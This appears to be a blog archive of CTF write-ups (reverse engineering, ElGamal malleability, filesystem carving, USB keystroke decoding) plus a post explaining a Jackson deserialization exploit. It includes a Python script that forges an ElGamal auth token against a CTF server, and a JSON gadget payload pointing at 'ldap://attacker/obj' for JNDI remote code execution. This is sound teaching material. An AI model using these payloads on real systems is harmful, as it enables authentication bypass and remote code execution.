Solution to nc3 Tys Tys

31/12/17 — capitol

acab

name:

Tys Tys

category:

reverse

points:

n/a

Writeup

The last problem in the danish police CTF was Tys Tys and we got a stripped elf binary named tys_tys and this danish text:

Fredag morgen kl. 7 mødte professor Tournesol ind på laboratoriet, hvor han arbejdede. Bag 
arbejdsbordet med softice-centrifugen fandt han en stærkt blødende professor Lennardo. Lennardo 
var såret, og gerningsmanden var flygtet. Før Lennardo udåndede, nåede han at remse en hemmelig 
cifferkode op: 3,2,0,4,2,2,5,0,6,7,10,9,11,2,1,11,0,7,10,6,10,8,9,0,6,7,10,9,11,2,1,11. Og med 
sit livs sidste kræftanstrengelser pegede han mod skuffe 3, hvor et USB-medie lå gemt. I skuffen 
lå ligeledes en seddel med teksten: "Jeg har for en sikkerhedsskyld nullet programmet."

På USB-mediet fandt Tournesol et program, og programmet gemte på en besked(flaget), der kunne 
redde verdenen!

Decompiling this in IDA gave us the following c code:

/* This file has been generated by the Hex-Rays decompiler.
   Copyright (c) 2007-2015 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

int init_proc();
// ssize_t recv(int fd, void *buf, size_t n, int flags);
// int putchar(int c);
// char *strcpy(char *dest, const char *src);
// uint16_t htons(uint16_t hostshort);
// ssize_t send(int fd, const void *buf, size_t n, int flags);
// int snprintf(char *s, size_t maxlen, const char *format, ...);
// int close(int fd);
// struct hostent *gethostbyname(const char *name);
// void *malloc(size_t size);
// __int64 ptrace(enum __ptrace_request request, ...);
// void bzero(void *s, size_t n);
// int connect(int fd, const struct sockaddr *addr, socklen_t len);
// int __fastcall _cxa_finalize(_QWORD); weak
// int socket(int domain, int type, int protocol);
int sub_930();
int sub_9C0();
int sub_A00();
__int64 sub_A30();
void *sub_A9C();
_BYTE *sub_AEB();
const char *sub_BF0();
__int64 __fastcall main(__int64 a1, char **a2, char **a3);
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3);
void term_proc();
// int ITM_deregisterTMCloneTable(void); weak
// int _gmon_start__(void); weak
// int Jv_RegisterClasses(void); weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN unk_E20; // weak
__int64 (__fastcall *off_201D68[3])() = { &sub_A00, &sub_A30, &sub_9C0 }; // weak
__int64 (__fastcall *off_201D78)() = &sub_9C0; // weak
_UNKNOWN unk_201D80; // weak
void *off_202008 = &off_202008; // weak
char byte_202010; // weak
_UNKNOWN unk_202017; // weak
// extern _UNKNOWN __cxa_finalize; weak


//----- (0000000000000858) ----------------------------------------------------
int init_proc()
{
  int (**v0)(void); // rax@1

  v0 = &_gmon_start__;
  if ( &_gmon_start__ )
    LODWORD(v0) = _gmon_start__();
  return (unsigned __int64)v0;
}
// 20205C: using guessed type int _gmon_start__(void);

//----- (0000000000000900) ----------------------------------------------------
#error "906: positive sp value has been found (funcsize=3)"

//----- (0000000000000930) ----------------------------------------------------
int sub_930()
{
  int (**v0)(void); // rax@1

  v0 = (int (**)(void))(&unk_202017 - (_UNKNOWN *)&byte_202010);
  if ( (unsigned __int64)(&unk_202017 - (_UNKNOWN *)&byte_202010) > 0xE )
  {
    v0 = &ITM_deregisterTMCloneTable;
    if ( &ITM_deregisterTMCloneTable )
      LODWORD(v0) = ITM_deregisterTMCloneTable();
  }
  return (unsigned __int64)v0;
}
// 202010: using guessed type char byte_202010;
// 202058: using guessed type int ITM_deregisterTMCloneTable(void);

//----- (00000000000009C0) ----------------------------------------------------
int sub_9C0()
{
  int result; // eax@4

  if ( !byte_202010 )
  {
    if ( &__cxa_finalize )
      _cxa_finalize(off_202008);
    result = sub_930();
    byte_202010 = 1;
  }
  return result;
}
// 8E8: using guessed type int __fastcall _cxa_finalize(_QWORD);
// 202008: using guessed type void *off_202008;
// 202010: using guessed type char byte_202010;

//----- (0000000000000A00) ----------------------------------------------------
int sub_A00()
{
  if ( unk_201D80 && &Jv_RegisterClasses )
    Jv_RegisterClasses();
  return 0;
}
// 202060: using guessed type int Jv_RegisterClasses(void);

//----- (0000000000000A30) ----------------------------------------------------
__int64 sub_A30()
{
  __int64 result; // rax@3
  signed int v1; // [sp+Ch] [bp-4h]@1

  v1 = 0;
  if ( !ptrace(0, 0LL, 1LL, 0LL) )
    v1 = 2;
  result = ptrace(0, 0LL, 1LL, 0LL);
  if ( result == -1 )
    result = (unsigned int)(3 * v1);
  return result;
}

//----- (0000000000000A9C) ----------------------------------------------------
void *sub_A9C()
{
  return &unk_E20;
}

//----- (0000000000000AEB) ----------------------------------------------------
_BYTE *sub_AEB()
{
  _BYTE *buf; // ST10_8@1
  struct hostent *v1; // ST18_8@1
  int fd; // ST08_4@1
  _BYTE *result; // rax@1
  __int64 v4; // rcx@1
  struct sockaddr addr; // [sp+20h] [bp-20h]@1
  __int64 v6; // [sp+38h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  buf = malloc(3uLL);
  v1 = gethostbyname("45.63.119.180");
  fd = socket(2, 1, 0);
  addr.sa_family = 2;
  *(_WORD *)&addr.sa_data[0] = htons(0x115Cu);
  *(_DWORD *)&addr.sa_data[2] = **(_DWORD **)v1->h_addr_list;
  bzero(&addr.sa_data[6], 8uLL);
  connect(fd, &addr, 0x10u);
  send(fd, "?\n", 2uLL, 0);
  buf[(signed int)recv(fd, buf, 3uLL, 0)] = 0;
  close(fd);
  result = buf;
  v4 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}

//----- (0000000000000BF0) ----------------------------------------------------
const char *sub_BF0()
{
  const char *result; // rax@1
  __int64 v1; // rdx@1

  result = "PRATEZ";
  v1 = *MK_FP(__FS__, 40LL) ^ *MK_FP(__FS__, 40LL);
  return result;
}

//----- (0000000000000C7C) ----------------------------------------------------
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rax@1
  const char *v4; // rax@1
  const char *v5; // rax@1
  __int64 result; // rax@4
  __int64 v7; // rcx@4
  signed int i; // [sp+0h] [bp-50h]@1
  char dest; // [sp+7h] [bp-49h]@1
  char v10; // [sp+Ah] [bp-46h]@1
  char v11; // [sp+Dh] [bp-43h]@1
  char s[13]; // [sp+13h] [bp-3Dh]@1
  __int64 v13; // [sp+20h] [bp-30h]@1
  __int64 v14; // [sp+28h] [bp-28h]@1
  __int64 v15; // [sp+30h] [bp-20h]@1
  __int64 v16; // [sp+38h] [bp-18h]@1
  __int64 v17; // [sp+48h] [bp-8h]@1

  v17 = *MK_FP(__FS__, 40LL);
  v3 = (const char *)sub_A9C();
  strcpy(&dest, v3);
  v4 = sub_AEB();
  strcpy(&v10, v4);
  v5 = sub_BF0();
  strcpy(&v11, v5);
  snprintf(s, 0xDuLL, "%s%s%s", &dest, &v10, &v11);
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  for ( i = 0; i <= 31; ++i )
    putchar(s[*((_BYTE *)&v13 + i)]);
  putchar(10);
  result = 0LL;
  v7 = *MK_FP(__FS__, 40LL) ^ v17;
  return result;
}
// C7C: using guessed type char s[13];

//----- (0000000000000D90) ----------------------------------------------------
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  __int64 v3; // r13@1
  signed __int64 v4; // rbp@1
  __int64 v5; // rbx@2

  v3 = a3;
  v4 = &off_201D78 - off_201D68;
  init_proc();
  if ( v4 )
  {
    v5 = 0LL;
    do
      ((void (__fastcall *)(_QWORD, __int64, __int64))off_201D68[v5++])(a1, a2, v3);
    while ( v4 != v5 );
  }
}
// 201D68: using guessed type __int64 (__fastcall *off_201D68[3])();
// 201D78: using guessed type __int64 (__fastcall *off_201D78)();

//----- (0000000000000E04) ----------------------------------------------------
void term_proc()
{
  ;
}

#error "There were 1 decompilation failure(s) on 12 function(s)"

Some manual analysis gave us that the function sub_A9C always returns the string “_L3”.

The server at 45.63.119.180:4444 that was contacted returned the string “WND” when a ? was sent in, and “Forkert” for everything else, the server also crashed after the challenge had been running for a hour.

The last part was produced from the function sub_BF0 that returned “PRATEZ”.

Using the professors list of numbers as indexes into the string we could produce the flag:

<?php

$key =
array(3,2,0,4,2,2,5,0,6,7,10,9,11,2,1,11,0,7,10,6,10,8,9,0,6,7,10,9,11,2,1,11);

$str = "_L3WNDPRATEZ";

for($i = 0; $i < count($key); $i++){
        echo $str[$key[$i]];
}
?>

flag was: W3_N33D_PRETZ3LZ_REPEAT_PRETZ3LZ

Attacking Elgamal Encryption

29/12/17 — capitol

elgamal

name:

Megalal

category:

crypto

points:

500 / variable

Writeup

We got this task from the game masters at the 34c3 junior ctf:

You can reach a strange authentication system here: nc 35.197.255.108 1337

I'm sure you know what you have to do.

And we got the python source of the program running on the server.

When connecting to the service we got two options, either to provide a name and a role and get an authentication token. Or to provide an token that contained the role overlord and get the flag. It was illegal to generate a token with the role overlord.

The token was the name concatenated with # and the role, and then encrypted with elgamal. The elgamal encryption scheme produces two numbers when you encrypt something, and those two numbers where converted to hex and concatinated with a _.

Reading the wikipedia article about elgamal we discovered we discovered that you can manipulate the cipher in order to produce another plain text. As described by wikipedia:

ElGamal encryption is unconditionally malleable, and therefore is not secure under chosen ciphertext 
attack. For example, given an encryption (c1 , c2) of some (possibly unknown) message m, one can
easily construct a valid encryption ( c1 , 2 * c2 ) of the message 2 * m.

This means that if we manages to produce a message that when doubled decrypts to something that ends in the charactes #overlord we will get the flag.

The string #overlord is 0x236f7665726c6f7264 when converted to hex so if we send in the byte values that are half that as role we will get something that we can double and send back and get the flag.

We wrote a small python tool to do this for us:

import socket
import binascii

name = "a"
a = int(binascii.hexlify("#overlord"), 16)
role2 = binascii.unhexlify("%x"%((a/2)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("35.197.255.108", 1337))

s.send("2\n")
s.send(name + "\n")
s.send(role2 + "\n")
data = s.recv(4096)
c1_c2 = s.recv(4096)
data = s.recv(4096)

(c1, c2) = c1_c2.split("_")
c1 = c1.split("\n")[4]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("35.197.255.108", 1337))

data = s.recv(4096)
s.send("1\n")
data = s.recv(4096)
s.send("%s_%x\n" % (c1, int(c2, 16) * 2 ))
data = s.recv(4096)
data = s.recv(4096)
print(data)

What’s happening here is that we first connect and log in, get the token from our specially crafted role then we split the token in c1 and c2. Double c2 and sends the token back and get the flag.

Flag was 34C3_such_m4lleable_much_w0w

Solution to nc3 FragFS

25/12/17 — capitol

acab

name:

FragFS

category:

programing

points:

n/a

Writeup

The next problem in the danish police CTF was named named FragFS and we got a small filesystem image and a manual

Looking at the manual the filesystem consisted of four parts.

  • First part was only a name, 512 bytes long.
  • Second part was a lookup table that mapped path + filename to a md5sum. Table was located from byte 512 to 10935.
  • Third part was another lookup table, from md5sum to a list of sectors where the file content is located, each sector is 4096 bytes large. Table was located from byte 10940 to 23037.
  • Fourth and last part is the actual file content, located from byte 81920 to the end of the image.

We wrote a small program to read the file content from the filesystem and write them out to disc.

#!/usr/bin/python

import os

file = open("three.dd", "r")
r = file.read()

table = r[512:10935]

md5tofile = {}
for x in r[512:10935].split(chr(0) + chr(255) + chr(255)):
    k = x.split(chr(0))
    md5tofile[k[0]] = k[1]


for x in r[10940:23037].split(chr(0) + chr(255)):
    parts = x.split(chr(0))
    filename = md5tofile[parts[0]]
    pathn = filename[0:filename.rfind("/")]
    if not os.path.exists(pathn):
        os.makedirs(pathn)
    f = open(filename, "w")
    out = "";
    for y in parts[1].split(" "):
        out += r[(4096*int(y)):(4096*(int(y)+1))]
    f.write(out)
    f.close()

Running that gave us this filesystem content

└── filsystem
    ├── docs
    │   └── stack_smashing.pdf
    ├── gits
    │   ├── gef
    │   │   ├── binja_gef.py
    │   │   ├── docs
    │   │   │   ├── api.md
    │   │   │   ├── commands
    │   │   │   │   ├── aliases.md
    │   │   │   │   ├── aslr.md
    │   │   │   │   ├── assemble.md
    │   │   │   │   ├── canary.md
    │   │   │   │   ├── capstone-disassemble.md
    │   │   │   │   ├── checksec.md
    │   │   │   │   ├── config.md
    │   │   │   │   ├── context.md
    │   │   │   │   ├── dereference.md
    │   │   │   │   ├── edit-flags.md
    │   │   │   │   ├── elf-info.md
    │   │   │   │   ├── entry-break.md
    │   │   │   │   ├── eval.md
    │   │   │   │   ├── format-string-helper.md
    │   │   │   │   ├── gef-remote.md
    │   │   │   │   ├── heap-analysis-helper.md
    │   │   │   │   ├── heap.md
    │   │   │   │   ├── help.md
    │   │   │   │   ├── hexdump.md
    │   │   │   │   ├── hijack-fd.md
    │   │   │   │   ├── ida-interact.md
    │   │   │   │   ├── ksymaddr.md
    │   │   │   │   ├── memory.md
    │   │   │   │   ├── nop.md
    │   │   │   │   ├── patch.md
    │   │   │   │   ├── pattern.md
    │   │   │   │   ├── pcustom.md
    │   │   │   │   ├── process-search.md
    │   │   │   │   ├── process-status.md
    │   │   │   │   ├── registers.md
    │   │   │   │   ├── reset-cache.md
    │   │   │   │   ├── retdec.md
    │   │   │   │   ├── ropper.md
    │   │   │   │   ├── search-pattern.md
    │   │   │   │   ├── set-permission.md
    │   │   │   │   ├── shellcode.md
    │   │   │   │   ├── stub.md
    │   │   │   │   ├── theme.md
    │   │   │   │   ├── tmux-setup.md
    │   │   │   │   ├── trace-run.md
    │   │   │   │   ├── unicorn-emulate.md
    │   │   │   │   ├── vmmap.md
    │   │   │   │   ├── xfiles.md
    │   │   │   │   ├── xinfo.md
    │   │   │   │   └── xor-memory.md
    │   │   │   ├── commands.md
    │   │   │   ├── config.md
    │   │   │   ├── faq.md
    │   │   │   └── index.md
    │   │   ├── gef.py
    │   │   ├── gef.sh
    │   │   ├── ida_gef.py
    │   │   ├── LICENSE
    │   │   ├── mkdocs.yml
    │   │   ├── README.md
    │   │   └── tests
    │   │       ├── helpers.py
    │   │       ├── pylintrc
    │   │       └── test-runner.py
    │   └── iponmap
    │       ├── index.js
    │       ├── LICENSE
    │       ├── package.json
    │       ├── README.md
    │       └── screenshot.png
    ├── pics
    │   ├── 20h-2012-s.png
    │   ├── 20h.png
    │   ├── dwm-20070930s.png
    │   ├── dwm-20080717s.png
    │   ├── dwm-20090620s.png
    │   ├── dwm-20090709s.png
    │   ├── dwm-20100318s.png
    │   ├── dwm-20101101s.png
    │   ├── dwm-20110720s.png
    │   ├── dwm-20120806.png
    │   ├── frign-2016-s.png
    │   ├── hendry-s.png
    │   ├── poster36.jpg
    │   └── putain-ouais-s.png
    └── src
        ├── dwm-6.1.tar.gz
        └── st-0.7.tar.gz

Looking through the images in the pics catalog, we found the flag in the file dwm-20120806.png.

flag was: B@KE_H M-AWAY_TOYS

Solution to nc3 Klikkety Klack

18/12/17 — capitol

acab

name:

Klikkety Klack

category:

various

points:

n/a

Writeup

The danish police are running a CTF in order to show that they are cool with the kids here.

We got a pcapng file that seems to contain communication between an usb keyboard of type HP Basic USB Keyboard KU-0316 Keyboard and a computer.

Some simple awk and python did the trick, first get byte number three from the usb capture data like this:

tshark -r /tmp/2.pcapng -T fields -e usb.capdata|awk -F':' '{print($3)}'|awk 'NF > 0' > data.txt

and then translate it to characters with this python program:

mappings = {
        0x04:"A",
        0x05:"B",
        0x06:"C",
        0x07:"D",
        0x08:"E",
        0x09:"F",
        0x0A:"G",
        0x0B:"H",
        0x0C:"I",
        0x0D:"J",
        0x0E:"K",
        0x0F:"L",
        0x10:"M",
        0x11:"N",
        0x12:"O",
        0x13:"P",
        0x14:"Q",
        0x15:"R",
        0x16:"S",
        0x17:"T",
        0x18:"U",
        0x19:"V",
        0x1A:"W",
        0x1B:"X",
        0x1C:"Y",
        0x1D:"Z",
        0x1E:"1",
        0x1F:"2",
        0x20:"3",
        0x21:"4",
        0x22:"5",
        0x23:"6",
        0x24:"7",
        0x25:"8",
        0x26:"9",
        0x27:"0",
        0x28:"\n",
        0x2C:" ",
        0x2D:"-",
        0x2E:"=",
        0x2F:"[",
        0x30:"]"
        }
 
nums = []
keys = open('data.txt')
for line in keys:
        nums.append(int(line.strip(),16))
keys.close()
 
output = ""
for n in nums:
        if n in mappings:
                output += mappings[n]
        else:
                output += 'x'
 
print 'output :' + output

That gave us the output:

output: xJxxEEGx xHxAARR xLxIIGGEx xTTEESSTxEETx xMxIINx xTxOxAxSxTTEERxMxAxLLWWAxRREx 
xOxGx xIINNGGEENN xAxNxTxIxVxIIRxUUSx xDxExTTExCxTxEERRExDxEx xDDExNxx1xx xxFxxExDxTx 
xMxAxNxxx xxDxxExNx xHxAARx xSxHxAxxx2x556x 
x4x2xCx3xDx3xBxAx5xCx0x9x9x1x0x6xFxCx2x1xAxBx5x3x9x0x8x4x9x5xDx5xExFx2xFxFx9xFxCxAxAx8x9x0xBx1xCx7xExFx4x3x8x6xBxCx0x8x9x3xFx2xFxxxxxxxFx2xFx

Checking the hash 42C3D3BA5C099106FC21AB53908495D5EF2FF9FCAA890B1C7EF4386BC0893F2F on virustotal.com we found this comment:

This evil malware that infected my toaster made a call to 45.63.119.180 on port 9999 and send the text "HELLO". I think that server is a C2-server.

Connecting to that ip/port gave us another link, where we could download a binary

running strings on that binary gave us something that looked like an url:

nc3ctffqH
qn5ozfjyH
.onion/

and the string: 23/09/90 kl. 01:12:12 UTC er det helt rigtige unix-tidspunkt til at skabe en URL

after decompiling the binary the important part was this:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int v4; // ST0C_4@1
  int result; // eax@1
  __int64 v6; // rsi@1
  __int64 v7; // [sp+10h] [bp-70h]@1
  __int64 v8; // [sp+18h] [bp-68h]@1
  __int64 v9; // [sp+20h] [bp-60h]@1
  char v10; // [sp+28h] [bp-58h]@1
  __int16 v11; // [sp+68h] [bp-18h]@1
  __int64 v12; // [sp+78h] [bp-8h]@1

  v12 = *MK_FP(__FS__, 40LL);
  v3 = time(0LL);
  srand(v3);
  v4 = rand();
  v7 = 8171331223976895342LL;
  v8 = 8748917902158425713LL;
  v9 = 13350748694671150LL;
  memset(&v10, 0, 0x40uLL);
  v11 = 0;
  puts("23/09/90 kl. 01:12:12 UTC er det helt rigtige unix-tidspunkt til at skabe en URL");
  printf("%s%d\n", &v7, (unsigned int)v4);
  result = 0;
  v6 = *MK_FP(__FS__, 40LL) ^ v12;
  return result;
}

We changed the init of srand to be the epoch of the date in the string, and got this url.

That gave us the flag:

DO_IT_FOR_THIS_ADORABLE_LITTLE_PUPPY_LOOK_AT_THE_PUPPY_MARGE

Jackson deserialization exploits

15/12/17 — capitol

serialize

Earlier this year there was an remote execution exploit published against apache camel. Lets look at how that vulnerability works and how to guard against it.

First some background, apache camel is a framework that helps with building integrations between different components in a system. You can for example read from an jms queue and write to a https endpoint, very enterprise.

The exploitable part was in the jackson library that camel used to serialize/deserialize.

The vulnerability in jackson can be demonstrated with just a few lines of java code:

    String json = "[\"java.util.List\", [[\"com.sun.rowset.JdbcRowSetImpl\" ,{\n" +
            "\"dataSourceName\":\n" +
            "\"ldap://attacker/obj\" ,\n" +
            "\"autoCommit\" : true\n" +
            "}]]]";

    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();
    Object o = om.readValue(json, List.class);

Running it gives the error:

Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: JdbcRowSet (anslut) JNDI kan inte anslutas
 at [Source: ["java.util.List", [["com.sun.rowset.JdbcRowSetImpl" ,{
"dataSourceName":
"ldap://attacker/obj" ,
"autoCommit" : true
}]]]; line: 4, column: 16] (through reference chain: java.util.ArrayList[0]->com.sun.rowset.JdbcRowSetImpl["autoCommit"])
	at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:223)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:537)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:518)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:99)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:260)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:125)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:68)
	at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:554)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:279)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:249)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:26)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromArray(AsArrayTypeDeserializer.java:50)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserializeWithType(CollectionDeserializer.java:310)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:42)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3788)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2779)
	at no.hackeriet.App.main(App.java:23)
Caused by: java.sql.SQLException: JdbcRowSet (anslut) JNDI kan inte anslutas
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
	at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:97)
	... 15 more

There is a type check in the readValue class, but that doesn’t stop the attack since it only checks that it’s a List that we try to deserialize, and the content of the list isn’t type checked due to type erasure.

The reason that jackson lets the sender specify the java classes that’s the json gets deserialized to is because of the call om.enableDefaultTyping();. The same functionality can also be triggered if you have annotated a java.lang.Object with @JsonTypeInfo.

If you don’t do that in your code then you are safe from this attack.

Gadgets

The classes that we can use to escalate an deserialization into remote code execution are called gadgets.

More modern versions of jackson have a blacklist with known dangerous classes that it refuses to deserialize here.

But there is a large number of java classes out there and it’s impossible to defend against all of them.

In order for a class to be a valid gadget for a jackson deserialization attack these criteria needs to be fulfilled:

  • A default constructor, i.e. a constructor without any arguments.
  • A method that acts on the argument in a non-trivial way, the simplest is if you are able to provide a serialized java class with a function that gets called. But there is a number of other ways, for example using jndi connections.

The LDAP gadget

For those that ain’t that deep into the java world, a quick description of JNDI is this: JNDI does for LDAP what JDBC does for a Database, in other words it provides an interface to interact with the ldap server from java.

How the ldap url leads to remote code execution a bit out of scope but is described here.

To summarize the attack have these steps:

  1. Attacker provides an absolute LDAP URL to a vulnerable JNDI lookup method.
  2. Target connect’s to an attacker controlled LDAP Server that returns a malicious JNDI Reference.
  3. Target decodes the JNDI Reference.
  4. Target fetches the Factory class from attacker-controlled server.
  5. Target instantiates the Factory class.
  6. Payload gets executed.